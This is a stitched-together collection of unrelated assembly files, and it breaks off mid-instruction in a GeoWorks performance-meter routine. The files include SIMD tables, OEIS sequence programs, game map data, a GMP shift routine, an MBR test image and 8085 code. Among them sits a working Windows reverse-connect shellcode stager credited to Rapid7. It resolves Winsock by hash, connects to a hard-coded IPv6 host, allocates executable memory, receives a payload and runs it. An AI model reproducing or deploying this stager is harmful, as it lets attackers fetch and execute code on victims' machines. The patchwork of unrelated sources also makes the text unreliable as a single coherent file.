INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL ;; DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR ;; SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER ;; CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, ;; OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE ;; OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. ;; %include "include/os.asm" section .data default rel MKGLOBAL(len_shift_tab,data,internal) MKGLOBAL(len_mask_tab,data,internal) MKGLOBAL(padding_0x80_tab16,data,internal) MKGLOBAL(shift_tab_16,data,internal) ;;; The following tables are used to insert a word into ;;; a SIMD register and must be defined together. ;;; If resized, update len_tab_diff definition in const.inc module. ;;; Other modifications may require updates to dependent modules. ;;; Table used to shuffle word to correct index ;;; Used by macros: ;;; - PINSRW_COMMON ;;; - XPINSRW ;;; - XVPINSRW align 16 len_shift_tab: db 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0x00, 0x01 ;;; Table used to zero index align 16 len_mask_tab: dw 0x0000, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, dw 0xffff, 0x0000, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, dw 0xffff, 0xffff, 0x0000, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, dw 0xffff, 0xffff, 0xffff, 0x0000, 0xffff, 0xffff, 0xffff, 0xffff, dw 0xffff, 0xffff, 0xffff, 0xffff, 0x0000, 0xffff, 0xffff, 0xffff, dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0x0000, 0xffff, 0xffff, dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0x0000, 0xffff, dw 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0xffff, 0x0000 ;;; Table to do 0x80 byte shift for padding prefix align 16 padding_0x80_tab16: db 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 db 0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 ;;; Table for shifting bytes in 128 bit SIMD register align 16 shift_tab_16: db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, db 0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, db 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff, 0xff %ifdef LINUX section .note.GNU-stack noalloc noexec nowrite progbits %endif
; A313754: Coordination sequence Gal.4.142.4 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. ; 1,5,10,15,20,26,32,38,44,49,54,59,64,69,74,79,84,90,96,102,108,113,118,123,128,133,138,143,148,154,160,166,172,177,182,187,192,197,202,207,212,218,224,230,236,241,246,251,256,261 mov $1,$0 seq $1,311312 ; Coordination sequence Gal.6.118.1 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings. add $0,$1
; A268524: a(n) = r*a(ceiling(n/2))+s*a(floor(n/2)) with a(1)=1 and (r,s)=(3,1). ; 1,4,13,16,43,52,61,64,145,172,199,208,235,244,253,256,499,580,661,688,769,796,823,832,913,940,967,976,1003,1012,1021,1024,1753,1996,2239,2320,2563,2644,2725,2752,2995,3076,3157,3184,3265,3292,3319,3328,3571,3652,3733,3760,3841,3868,3895 lpb $0 mov $2,$0 sub $0,1 seq $2,309057 ; a(0) = 1; a(2*n) = 3*a(n), a(2*n+1) = a(n). add $1,$2 lpe mul $1,3 add $1,1 mov $0,$1
Museum1F_Object: db $a ; border block db 5 ; warps warp 10, 7, 0, -1 warp 11, 7, 0, -1 warp 16, 7, 1, -1 warp 17, 7, 1, -1 warp 7, 7, 0, MUSEUM_2F db 0 ; signs db 5 ; objects object SPRITE_OAK_AIDE, 12, 4, STAY, LEFT, 1 ; person object SPRITE_GAMBLER, 1, 4, STAY, NONE, 2 ; person object SPRITE_OAK_AIDE, 15, 2, STAY, DOWN, 3 ; person object SPRITE_OAK_AIDE, 17, 4, STAY, NONE, 4 ; person object SPRITE_OLD_AMBER, 16, 2, STAY, NONE, 5 ; person ; warp-to warp_to 10, 7, MUSEUM_1F_WIDTH warp_to 11, 7, MUSEUM_1F_WIDTH warp_to 16, 7, MUSEUM_1F_WIDTH warp_to 17, 7, MUSEUM_1F_WIDTH warp_to 7, 7, MUSEUM_1F_WIDTH ; MUSEUM_2F
dnl SPARC mpn_rshift -- Shift a number right. dnl Copyright 1995, 1996, 2000 Free Software Foundation, Inc. dnl This file is part of the GNU MP Library. dnl The GNU MP Library is free software; you can redistribute it and/or modify dnl it under the terms of the GNU Lesser General Public License as published dnl by the Free Software Foundation; either version 2.1 of the License, or (at dnl your option) any later version. dnl The GNU MP Library is distributed in the hope that it will be useful, but dnl WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY dnl or FITNESS FOR A PARTICULAR PURPOSE. See the GNU Lesser General Public dnl License for more details. dnl You should have received a copy of the GNU Lesser General Public License dnl along with the GNU MP Library; see the file COPYING.LIB. If not, write dnl to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, dnl Boston, MA 02110-1301, USA. include(`../config.m4') C INPUT PARAMETERS C res_ptr %o0 C src_ptr %o1 C size %o2 C cnt %o3 ASM_START() PROLOGUE(mpn_rshift) ld [%o1],%g2 C load first limb sub %g0,%o3,%o5 C negate shift count add %o2,-1,%o2 andcc %o2,4-1,%g4 C number of limbs in first loop sll %g2,%o5,%g1 C compute function result be L(0) C if multiple of 4 limbs, skip first loop st %g1,[%sp+80] sub %o2,%g4,%o2 C adjust count for main loop L(loop0): ld [%o1+4],%g3 add %o0,4,%o0 add %o1,4,%o1 addcc %g4,-1,%g4 srl %g2,%o3,%o4 sll %g3,%o5,%g1 mov %g3,%g2 or %o4,%g1,%o4 bne L(loop0) st %o4,[%o0-4] L(0): tst %o2 be L(end) nop L(loop): ld [%o1+4],%g3 add %o0,16,%o0 addcc %o2,-4,%o2 srl %g2,%o3,%o4 sll %g3,%o5,%g1 ld [%o1+8],%g2 srl %g3,%o3,%g4 or %o4,%g1,%o4 st %o4,[%o0-16] sll %g2,%o5,%g1 ld [%o1+12],%g3 srl %g2,%o3,%o4 or %g4,%g1,%g4 st %g4,[%o0-12] sll %g3,%o5,%g1 ld [%o1+16],%g2 srl %g3,%o3,%g4 or %o4,%g1,%o4 st %o4,[%o0-8] sll %g2,%o5,%g1 add %o1,16,%o1 or %g4,%g1,%g4 bne L(loop) st %g4,[%o0-4] L(end): srl %g2,%o3,%g2 st %g2,[%o0-0] retl ld [%sp+80],%o0 EPILOGUE(mpn_rshift)
; Partition struc definition struc partition .status resb 1 .start_chs resb 3 .type resb 1 .end_chs resb 3 .start_lba resd 1 .length_lba resd 1 endstruc ; MBR code incbin 'mbr/mbr.bin',0,440 ; Disk signature dd 0x2c585cd1 ; Padding dw 0 ; Partition 1 at sector 1, length 1 istruc partition at partition.status, db 0 at partition.start_chs, db 0,2,0 at partition.type, db 0x83 at partition.end_chs, db 0,2,0 at partition.start_lba, dd 1 at partition.length_lba, dd 1 iend ; Partition 2 at sector 2, length 1 istruc partition at partition.status, db 0 at partition.start_chs, db 0,3,0 at partition.type, db 0x83 at partition.end_chs, db 0,3,0 at partition.start_lba, dd 2 at partition.length_lba, dd 1 iend ; Partition 3 at sector 3, length 1 istruc partition at partition.status, db 0 at partition.start_chs, db 0,4,0 at partition.type, db 0x83 at partition.end_chs, db 0,4,0 at partition.start_lba, dd 3 at partition.length_lba, dd 1 iend ; Partition 4 at sector 4, length 1 istruc partition at partition.status, db 0 at partition.start_chs, db 0,5,0 at partition.type, db 0x83 at partition.end_chs, db 0,5,0 at partition.start_lba, dd 4 at partition.length_lba, dd 1 iend ; Boot signature dw 0xaa55 ; Partition 1 contents times 510 db 1 dw 0xaa55 ; Partition 2 contents times 510 db 2 dw 0xaa55 ; Partition 3 contents times 510 db 3 dw 0xaa55 ; Partition 4 contents times 510 db 4 dw 0xaa55 ; Pad disk image to 63 tracks, 16 heads (minimum Bochs allows) times (16*63*512)-($-$$) db 0
; A199398: XOR of the first n odd numbers. ; Submitted by Jamie Morken(s1) ; 1,2,7,0,9,2,15,0,17,2,23,0,25,2,31,0,33,2,39,0,41,2,47,0,49,2,55,0,57,2,63,0,65,2,71,0,73,2,79,0,81,2,87,0,89,2,95,0,97,2,103,0,105,2,111,0,113,2,119,0,121,2,127,0,129,2,135,0,137,2,143,0,145,2,151,0,153,2,159,0,161,2,167,0,169,2,175,0,177,2,183,0,185,2,191,0,193,2,199,0 add $0,1 mov $1,-2 bin $1,$0 mov $2,$1 mod $2,4 sub $2,$1 add $2,$0 mov $0,$2
MVI A,0FFH MOV B,A ANI 0FH MOV C,A MOV A,B ANI 0F0H RRC RRC RRC RRC MVI D,09H MOV L,A LOOP: ADD L DCR D JNZ LOOP ADD C ADI 08H STA 1004H MOV B,A ANI 07H STA 1000H MOV A,B ANI 38H RRC RRC RRC STA 1001H MOV A,B ANI 0C0H RRC RRC RRC RRC RRC RRC STA 1002H hlt
; Title: Windows Reverse Connect Stager (NX, IPv6) ; Platforms: Windows NT 4.0, Windows 2000, Windows XP, Windows 2003, Windows Vista ; Author: Rapid7, Inc [BITS 32] global _start _start: call LKernel32Base LGetProcAddress: push ebx push ebp push esi push edi mov ebp, [esp + 24] mov eax, [ebp + 0x3c] mov edx, [ebp + eax + 120] add edx, ebp mov ecx, [edx + 24] mov ebx, [edx + 32] add ebx, ebp LFnlp: jecxz LNtfnd dec ecx mov esi, [ebx + ecx * 4] add esi, ebp xor edi, edi cld LHshlp: xor eax, eax lodsb cmp al, ah je LFnd ror edi, 13 add edi, eax jmp short LHshlp LFnd: cmp edi, [esp + 20] jnz LFnlp mov ebx, [edx + 36] add ebx, ebp mov cx, [ebx + 2 * ecx] mov ebx, [edx + 28] add ebx, ebp mov eax, [ebx + 4 * ecx] add eax, ebp jmp short LDone LNtfnd: xor eax, eax LDone: pop edi pop esi pop ebp pop ebx ret 8 LKernel32Base: xor edx, edx mov edx, [fs:edx+0x30] ; get a pointer to the PEB mov edx, [edx+0x0C] ; get PEB->Ldr mov edx, [edx+0x14] ; get PEB->Ldr.InMemoryOrderModuleList.Flink next_mod: mov esi, [edx+0x28] ; get pointer to modules name (unicode string) push byte 24 ; push down the length we want to check pop ecx ; set ecx to this length for the loop xor edi, edi ; clear edi which will store the hash of the module name loop_modname: xor eax, eax ; clear eax lodsb ; read in the next byte of the name cmp al, 'a' ; some versions of Windows use lower case module names jl not_lowercase ; sub al, 0x20 ; if so normalise to uppercase not_lowercase: ; ror edi, 13 ; rotate left our hash value add edi, eax ; add the next byte of the name loop loop_modname ; loop untill we have read enough cmp edi, 0x6A4ABC5B ; compare the hash with that of kernel32.dll mov ebx, [edx+0x10] ; get this modules base address mov edx, [edx] ; get the next module jne next_mod ; if it doesnt match, process the next module pop esi push ebx ; kernel32.dll base push dword 0xec0e4e8e ; LoadLibraryA call esi ; GetProcAddress(kerne32.dll, LoadLibrary) mov edi, eax push ebx ; kernel32.dll base push dword 0x91afca54 ; VirtualAlloc call esi ; GetProcAddress(kerne32.dll, VirtualAlloc) ; ebx = kernel32.dll base ; esi = LGetProcAddress ; edi = LoadLibraryA ; eax = VirtualAlloc LBootWinsock: sub esp, 0x100 push eax ; [ebp + 12] = VirtualAlloc push edi ; [ebp + 8] = LoadLibraryA push esi ; [ebp + 4] = LGetProcAddress push ebx ; [ebp + 0] = kernel32.dll base mov ebp, esp call LLoadWinsock %define FN_RECV [ebp + 24] %define FN_SEND [ebp + 28] %define FN_CONNECT [ebp + 32] %define FN_WSASOCK [ebp + 36] %define FN_WSASTART [ebp + 40] LWSDataSegment: ;======================== dd 0x190 ; used by wsastartup dd 0xe71819b6 ; recv [ebp + 24] dd 0xe97019a4 ; send [ebp + 28] dd 0x60aaf9ec ; connect [ebp + 32] dd 0xadf509d9 ; WSASocketA [ebp + 36] dd 0x3bfcedcb ; WSAStartup [ebp + 40] db "WS2_32", 0x00 ;======================== LLoadWinsock: pop ebx ; save address to data in ebx lea ecx, [ebx + 24] ; find address of "WS2_32.DLL" push ecx ; push address of "WS2_32.DLL" call edi ; call LoadLibraryA("WS2_32.DLL") mov edi, ebx ; store base of data section in edi mov ebx, eax ; store base of winsock in ebx lea esi, [ebp + 20] ; store base of function table push byte 0x05 ; load five functions by hash pop ecx ; configure the counter Looper: push ecx ; save the counter push ebx ; dll handle push dword [edi + ecx * 4] ; function hash value call [ebp + 4] ; find the address pop ecx ; restore the counter mov [esi + ecx * 4], eax ; stack segment to store addresses loop Looper LWSAStartup: ; WSAStartup (0x0202, DATA) sub esp, [edi] push esp push dword 0x0202 call FN_WSASTART xor eax, eax LWSASocketA: ; WSASocketA (23,1,6,0,0,0) ; dwFlags push eax ; RESERVED push eax ; PROTOCOL INFO push eax ; PROTOCOL: IPPROTO_TCP push byte 6 ; TYPE: SOCK_STREAM push byte 1 ; FAMILY: AF_INET6 push byte 23 ; WSASocket() call FN_WSASOCK mov edi, eax ; [ebp + 0] = kernel32.dll base ; [ebp + 4] = LGetProcAddress ; [ebp + 8] = LoadLibraryA ; [ebp + 12] = VirtualAlloc ; [ebp + 24] = recv ; [ebp + 28] = send ; [ebp + 32] = accept ; [ebp + 36] = bind ; [ebp + 40] = connect ; [ebp + 44] = WSASocketA ; [ebp + 48] = WSAStartup ; [ebp + 52] = Payload Length LConnect: call LGotAddress LGetAddress: ; struct sockaddr_in6 { ; short sin6_family; ; u_short sin6_port; ; u_long sin6_flowinfo; ; struct in6_addr sin6_addr; ; u_long sin6_scope_id; ;} ; sin6_family db 0x17 db 0x00 ; sin6_port db 0xff db 0xff dd 0x00000000 ; sin6_flowinfo ; fe80000000000000021b63fffe98bf36 db 0xfe db 0x80 db 0x00 db 0x00 db 0x00 db 0x00 db 0x00 db 0x00 db 0x02 db 0x1b db 0x63 db 0xff db 0xfe db 0x98 db 0xbf db 0x36 dd 0x00000000 ; sin6_scope_id LGotAddress: pop ecx push byte 28 ; address length push ecx push dword edi call dword FN_CONNECT ; reconnect on failure ; test eax, eax ; jne short LConnect LAllocateMemory: ; VirtualAlloc(NULL,size,MEM_COMMIT,PAGE_EXECUTE_READWRITE) push byte 0x40 pop esi push esi ; PAGE_EXECUTE_READWRITE=0x40 shl esi, 6 ; MEM_COMMIT=0x1000 push esi shl esi, 8 ; 1MB push esi push byte 0x00 ; NULL call [ebp+12] mov ebx, eax LRecvLength: ; recv(s, buff, 4, 0) push byte 0x00 ; flags push esi ; length push ebx ; buffer push dword edi ; socket call FN_RECV ; recv() call ebx
COMMENT @---------------------------------------------------------------------- Copyright (c) GeoWorks 1992 -- All Rights Reserved PROJECT: Perf (Performance Meter) FILE: calc.asm (calculates new stats) REVISION HISTORY: Name Date Description ---- ---- ----------- Tony, Adam 1990 Initial version Eric 5/91 more stat types..., cleanup DESCRIPTION: This file source code for the Perf application. This code will be assembled by Esp, and then linked by the Glue linker to produce a runnable .geo application file. RCS STAMP: $Id: calc.asm,v 1.1 97/04/04 16:26:58 newdeal Exp $ ------------------------------------------------------------------------------@ PerfCalcStatCode segment resource COMMENT @---------------------------------------------------------------------- FUNCTION: PerfCalcNewStats DESCRIPTION: Determine new statistics CALLED BY: PerfTimerExpired PASS: ds = dgroup es = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: Copy the following structure into our rotating table: SysStats struc SS_idleCount dword ; Number of "idle ticks" in the last ; second. When used in combination ; with the total idle count returned ; by SysInfo, this tells you how busy ; the CPU is. SS_swapOuts SysSwapInfo ; Outward-bound swap activity SS_swapIns SysSwapInfo ; Inward-bound swap activity SysSwapInfo struc SSI_paragraphs word SSI_blocks word SysSwapInfo ends SS_contextSwitches word ; Number of context switches during the ; last second. SS_interrupts word ; Number of interrupts during the last ; second. SS_waitPostCalls word ; Number of wai/post calls during the ; last second SS_runQueue word ; Number of runnable threads at the ; end of the last second. MUST BE ; LAST FIELD SysStats ends REVISION HISTORY: Name Date Description ---- ---- ----------- Adam/Tony 1990 Initial version Eric 4/27/91 improvements, doc update ------------------------------------------------------------------------------@ ;get new statistics PerfCalcNewStats proc far ;in PerfCalcStatCode resource ;call kernel routine to copy the above structure to es:di ;(See /staff/pcgeos/Include/sysstats.def) mov di, offset lastStats call SysStatistics ;for each statistic that we care about, we must copy the raw value ;into [numericArray], so that we can display that number if necessary. ;We also must copy the adjusted value into our historical array. call PerfCalcContextSwitches call PerfCalcLoadAverage call PerfCalcInterrupts call PerfCalcCPUUsage ;memory usage call CalcMemoryStatistics call PerfCalcHeapAllocation call PerfCalcHeapFixed call PerfCalcHeapFragmentation call PerfCalcSwapAllocation call PerfMCalcSwapOut call PerfCalcSwapIn ;other stuff call PerfCalcPPPStatistics call PerfCalcFreeHandles ret PerfCalcNewStats endp COMMENT @---------------------------------------------------------------------- FUNCTION: PerfCalcXXXXXX DESCRIPTION: These routines calculate our new statistic values CALLED BY: PerfCalcNewStats PASS: ds = dgroup RETURN: nothing DESTROYED: ? PSEUDO CODE/STRATEGY: REVISION HISTORY: Name Date Description ---- ---- ----------- Adam/Tony 1990 Initial version Eric 4/27/91 improvements, doc update ------------------------------------------------------------------------------@ PerfCalcContextSwitches proc near mov ax, ds:[lastStats].SS_contextSwitches ;ax = # of context switches in last sec push ax call MultAXBy10 ;multiple by 10 so is decimal ;(no fractional portion) mov ds:[numericLast].PSS_switches, ax pop ax add ax,4 ;divide by 8, rounding first (+4) shr ax,1 shr ax,1 shr ax,1 mov ds:[statArray].PSS_switches, ax ret PerfCalcContextSwitches endp idata segment lastLoadAverage BBFixed idata ends LOAD_AVERAGE_DECAY = 4 LOAD_AVERAGE_DECAY_BASE = 2 PerfCalcLoadAverage proc near ; calculate the load average via: ; load average = (# runable threads) + (old load average)*15 ; --------------------------------------------- ; 16 mov ax, {word} ds:[lastLoadAverage] mov cx, LOAD_AVERAGE_DECAY-1 mul cx ;dx:ax = result add ax, LOAD_AVERAGE_DECAY/2 add ah, ds:[lastStats].SS_runQueue.low mov cl, LOAD_AVERAGE_DECAY_BASE shr ax, cl mov {word} ds:[lastLoadAverage], ax push ax call MultAXBy10 ;multiple by 10 so is decimal ;(no fractional portion) ; round BBFixed to int add ax, 128 mov al, ah clr ah mov ds:[numericLast].PSS_load, ax pop ax shl ax, 1 ;multiply by 4, to make the shl ax, 1 ;change visible mov al, ah clr ah mov ds:[statArray].PSS_load, ax ret PerfCalcLoadAverage endp PerfCalcInterrupts proc near mov ax, ds:[lastStats].SS_interrupts push ax call MultAXBy10 ;multiple by 10 so is decimal ;(no fractional portion) mov ds:[numericLast].PSS_interrupts, ax pop ax add ax, 16 ;to round the result mov cl, 5 ;divide by 32 shr ax, cl mov ds:[statArray].PSS_interrupts, ax ret PerfCalcInterrupts endp PerfCalcCPUUsage proc near ;dx:ax = kdata:idleCount for last second mov ax, ds:[lastStats].SS_idleCount.low mov dx, ds:[lastStats].SS_idleCount.high ;calculate idle amount as ratio of totalCount, then multiply by ;1000, so that we get a result between 0 and 999. ;idle average (0-999) = idleCount / totalCountDivBy1000 mov si, ds:[totalCountDivBy1000] ;compute idle average tst si jnz notZero ;don't divide by zero! inc si ;make it at least one notZero: div si ;ax.dx = dx:ax / totalCountDivBy1000 ;round up, so 99.9999% idle means 100.0% idle. tst dx jns 5$ inc ax 5$: ;ax = idle ratio: from (1000 to 0) ;if for any reason this value is too high, let's normalize it. cmp ax, 1001 ;too big? jb 10$ ;skip if not... mov ax, 1000 ;set to MAX value 10$: ;convert from idle time to used time (0 to 1000) sub ax, 1000 ;convert from idle time to usage time neg ax EC < cmp ax, 1001 ;too big? > EC < ERROR_GE PERF_ERROR_IDLE_COUNT_TOO_BIG > ;store numeric value mov ds:[numericLast].PSS_cpuUsage, ax ;now, normalize the paragraph value so that graph top = 100% clr dx ; mov si, 1001 / GRAPH_HEIGHT div si ; now ax has idle (0-24) ;even so, we will get an overflow sometimes, Because 1001/GRAPH_HEIGHT ;is an integer value in the division. cmp ax, GRAPH_HEIGHT ;too big? jl 50$ mov ax, GRAPH_HEIGHT - 1 50$: mov ds:[statArray].PSS_cpuUsage, ax ret PerfCalcCPUUsage endp PerfCalcHeapAllocation proc near tst ds:[heapTotalMemSize] ;did we collect any info? jz noInfo ;skip if not... ;set dx:ax = allocated size, including kernel, in paragraphs. ;And then convert (*10/64) so that we can display the number as Kbytes. mov ax, ds:[heapAllocatedMemSize] ;no longer necessary ; add ax, ds:[kernelSize] call MultAXBy10AndDivideBy64 mov ds:[numericLast].PSS_heapAllocated, ax ;now calculate allocated size as ration of total heap size ;dx:ax = heapAllocatedMemSize*1000h mov dx, ds:[heapAllocatedMemSize] clr ax ;calculate used amount as ratio of totalSize. ;ratio (0-65535) = allocated*65536 / total mov si, ds:[heapTotalMemSize] div si ;ax = dx:ax / si ;Old code which showed memory usage as a percentage ; ;calculate % times 10 (999-0) ; ; push ax ; mov si, 65536 / 1000 ; clr dx ; div si ;now ax has % ; ;store numeric value ; mov ds:[numericLast].PSS_heapAllocated, ax ; pop ax ;calculate height of bar (essentially multiplying by GRAPH_HEIGHT, ;and then dividing by 65536) mov si, 65536 / GRAPH_HEIGHT clr dx div si ; now ax has % mov ds:[statArray].PSS_heapAllocated, ax ret noInfo: ;we have no info on this statistic. Just zero-out the graph. clr ax mov ds:[numericLast].PSS_heapAllocated, ax mov ds:[statArray].PSS_heapAllocated, ax ret PerfCalcHeapAllocation endp PerfCalcHeapFixed proc near tst ds:[heapTotalMemSize] ;did we collect any info? jz noInfo ;skip if not... ;set dx:ax = fixed block size, including kernel, in paragraphs. ;And then convert (*10/64) so that we can display the number as Kbytes. mov ax, ds:[heapFixedMemSize] ;no longer necessary ; add ax, ds:[kernelSize] call MultAXBy10AndDivideBy64 mov ds:[numericLast].PSS_heapFixed, ax ;now calculate allocated size as ration of total heap size ;dx:ax = heapFixedMemSize*1000h mov dx, ds:[heapFixedMemSize] clr ax ;calculate fixed amount as ratio of totalSize. ;ratio (0-65535) = fixed*65536 / total mov si, ds:[heapTotalMemSize] div si ;ax = dx:ax / si ;Old code which showed memory usage as a percentage ; ;calculate % times 10 (999-0) ; ; push ax ; mov si, 65536 / 1000 ; clr dx ; div si ;now ax has % ; ;store numeric value ; mov ds:[numericLast].PSS_heapFixed, ax ; pop ax ;calculate height of bar (essentially multiplying by GRAPH_HEIGHT, ;and then dividing by 65536) mov si, 65536 / GRAPH_HEIGHT clr dx div si ; now ax has % mov ds:[statArray].PSS_heapFixed, ax ret noInfo: ;we have no info on this statistic. Just zero-out the graph. clr ax mov ds:[numericLast].PSS_heapFixed, ax mov ds:[statArray].PSS_heapFixed, ax ret PerfCalcHeapFixed endp PerfCalcHeapFragmentation proc near tst ds:[heapTotalMemSize] ;did we collect any info? jz noInfo ;skip if not... ;set dx:ax = frag size in paragraphs. ;And then convert (*10/64) so that we can display the number as Kbytes. mov ax, ds:[heapUpperFreeMemSize] call MultAXBy10AndDivideBy64 mov ds:[numericLast].PSS_heapFragmentation, ax ;now calculate fragmented size as ratio of total heap size ;dx:ax = heapUpperFreeMemSize*1000h mov dx, ds:[heapUpperFreeMemSize] clr ax ;calculate used amount as ratio of totalSize. ;ratio (0-65535) = allocated*65536 / total mov si, ds:[heapTotalMemSize] div si ;ax = dx:ax / si ;Old code which showed memory usage as a percentage ; ;calculate % times 10 (999-0) ; ; push ax ; mov si, 65536 / 1000 ; clr dx ; div si ;now ax has % ; ;store numeric value ; mov ds:[numericLast].PSS_heapFragmentation, ax ; pop ax ;calculate height of bar (essentially multiplying by GRAPH_HEIGHT, ;and then dividing by 65536) mov si, 65536 / GRAPH_HEIGHT clr dx div si ; now ax has % mov ds:[statArray].PSS_heapFragmentation, ax ret noInfo: ;we have no info on this statistic. Just zero-out the graph. clr ax mov ds:[numericLast].PSS_heapFragmentation, ax mov ds:[statArray].PSS_heapFragmentation, ax ret PerfCalcHeapFragmentation endp PerfCalcSwapAllocation proc near push es mov si, offset dgroup:swapMaps mov ds:[numericLast].PSS_swapFileAllocated, 0 mov ds:[numericLast].PSS_swapMemAllocated, 0 mapLoop: mov cx, ds:[si].PSD_map jcxz done mov di, offset PSS_swapMemAllocated tst ds:[si].PSD_disk jz figureAlloc mov di, offset PSS_swapFileAllocated figureAlloc: mov es, cx mov ax, es:[SM_total] sub ax, es:[SM_numFree] mul es:[SM_page] mov al, ah mov ah, dl shr dh rcr ax shr dh rcr ax add {word}ds:[numericLast][di], ax add si, size PerfSwapDriver cmp si, offset dgroup:swapMaps + size swapMaps jb mapLoop done: mov di, offset PSS_swapMemAllocated mov si, ds:[maxMemSwap] call CalcSwapStuff mov di, offset PSS_swapFileAllocated mov si, ds:[maxDiskSwap] call CalcSwapStuff pop es ret PerfCalcSwapAllocation endp CalcSwapStuff proc near ; di = offset in numericLast and statArray of appropriate field ; si = total allocatable space of this type. mov ax, {word}ds:[numericLast][di] push ax call MultAXBy10 mov {word}ds:[numericLast][di], ax pop dx clr ax tst si jz storeRes cmp dx, si je maxOut ; avoid quotient-overflow... div si clr dx ; NOT cwd -- number be unsigned, mahn mov si, 65536/100 div si clr dx ; NOT cwd -- number be unsigned, mahn mov si, 100/GRAPH_HEIGHT div si cmp ax, GRAPH_HEIGHT jl storeRes maxOut: mov ax, GRAPH_HEIGHT-1 storeRes: mov {word}ds:[statArray][di], ax ret CalcSwapStuff endp PerfMCalcSwapOut proc near mov ax, ds:[lastStats].SS_swapOuts.SSI_paragraphs ;ax = number of paragraphs swapped out ;divide by 64 to get the amount in K (there are 64 paragraphs in a K) push ax mov cl, 6 ;divide by 64 shr ax, cl call MultAXBy10 ;multiple by 10 so is decimal ;store numeric value mov ds:[numericLast].PSS_swapOut, ax pop ax ;now, normalize the paragraph value so that graph top = 256K mov si, (262144/16) / GRAPH_HEIGHT clr dx div si ; now ax has value cmp ax, GRAPH_HEIGHT jl 60$ mov ax, GRAPH_HEIGHT-1 60$: mov ds:[statArray].PSS_swapOut, ax ret PerfMCalcSwapOut endp PerfCalcSwapIn proc near mov ax, ds:[lastStats].SS_swapIns.SSI_paragraphs ;ax = number of paragraphs swapped out ;divide by 64 to get the amount in K (there are 64 paragraphs in a K) push ax mov cl, 6 ;divide by 64 shr ax, cl call MultAXBy10 ;multiple by 10 so is decimal ;store numeric value mov ds:[numericLast].PSS_swapIn, ax pop ax ;now, normalize the paragraph value so that graph top = 128K mov si, (262144/16) / GRAPH_HEIGHT clr dx div si ; now ax has value cmp ax, GRAPH_HEIGHT jl 60$ mov ax, GRAPH_HEIGHT-1 60$: mov ds:[statArray].PSS_swapIn, ax ret PerfCalcSwapIn endp PerfCalcPPPStatistics proc near tst ds:[pppDr] jz done ;Compute received Kb/s mov di, PPP_ID_GET_BYTES_RECEIVED call ds:[pppStrategy] movdw cxbx, dxax subdw dxax, ds:[pppBytesReceived] movdw ds:[pppBytesReceived], cxbx ; shouldn't be this many bytes in a second, but just in case... clr dx ;divide by 100 to get the numeric value in decimal Kb/s push ax mov si, 100 div si mov ds:[numericLast].PSS_pppIn, ax pop ax ;normalize the byte count so that graph top = 10Kb/s mov si, (10000) / GRAPH_HEIGHT clr dx div si ; now ax has value cmp ax, GRAPH_HEIGHT jl 60$ mov ax, GRAPH_HEIGHT-1 60$: mov ds:[statArray].PSS_pppIn, ax ;Compute sent Kb/s mov di, PPP_ID_GET_BYTES_SENT call ds:[pppStrategy] movdw cxbx, dxax subdw dxax, ds:[pppBytesSent] movdw ds:[pppBytesSent], cxbx ; shouldn't be this many bytes in a second, but just in case... clr dx ;divide by 100 to get the numeric value in decimal Kb/s push ax mov si, 100 div si mov ds:[numericLast].PSS_pppOut, ax pop ax ;normalize the byte count so that graph top = 10Kb/s mov si, (10000) / GRAPH_HEIGHT clr dx div si ; now ax has value cmp ax, GRAPH_HEIGHT jl 61$ mov ax, 